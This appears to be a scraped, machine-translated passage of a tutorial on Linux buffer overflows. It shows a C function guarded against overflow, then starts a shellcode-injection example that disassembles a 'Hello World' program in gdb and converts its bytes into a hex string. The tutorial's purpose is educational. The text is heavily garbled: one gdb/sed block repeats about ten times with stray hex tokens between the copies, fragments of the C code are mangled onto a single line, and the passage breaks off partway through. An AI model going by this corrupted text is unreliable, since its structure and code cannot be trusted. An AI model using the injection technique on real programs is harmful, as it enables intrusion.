#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        if ( sizeof(STR_SRC)-1 > BUF_SIZE ) {
                printf("buffer overflow!\n");
                exit(-1);
        }
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
', BUF_SIZE);         if ( sizeof(STR_SRC)-1 > BUF_SIZE ) {                 printf("buffer overflow!\n");                 exit(-1);         }         memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);         sum = a + b + c;         return sum; } int main() {         int sum;         sum = func(1, 2, 3);         printf("sum = %d\n", sum);         return 0; }

Now the effect is as follows:

$ gcc -DSTR4 -g -o testshellcode testshellcode.c
$. / testshellcode # if there is an overflow, it will be blocked and exited, thus preventing possible destruction
buffer overflow!
$ gcc -g -o testshellcode testshellcode.c
$ ./testshellcode
sum = 6

Of course, it might be better to add restrictions on array operations to the C standard, or extend the syntax check for buffer overflow in the compiler.

Buffer injection instance

Finally, an example of buffer injection using buffer overflow is given. In other words, by injecting some code into a buffer and modifying EIP to the entry of these codes, we can achieve the purpose of destroying the behavior of the target program.

This example comes fromPrinciple and Countermeasure of buffer overflow attack in LinuxThis paper mainly uses the above knowledge to analyze it in detail.

Preparation: C language functions into string sequence

Let’s go back to the first part and look at that  Shellcode.c  Procedures. We want to get its assembly code and output it in hexadecimal bytes, so that we can store these instructions as strings and use them as input strings for buffer injection. Through  gdb  Get the content.

$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
xeb
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x20
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x5e
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
xb8
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x04
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x00
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x00
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x00" "
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
xbb
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x02
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
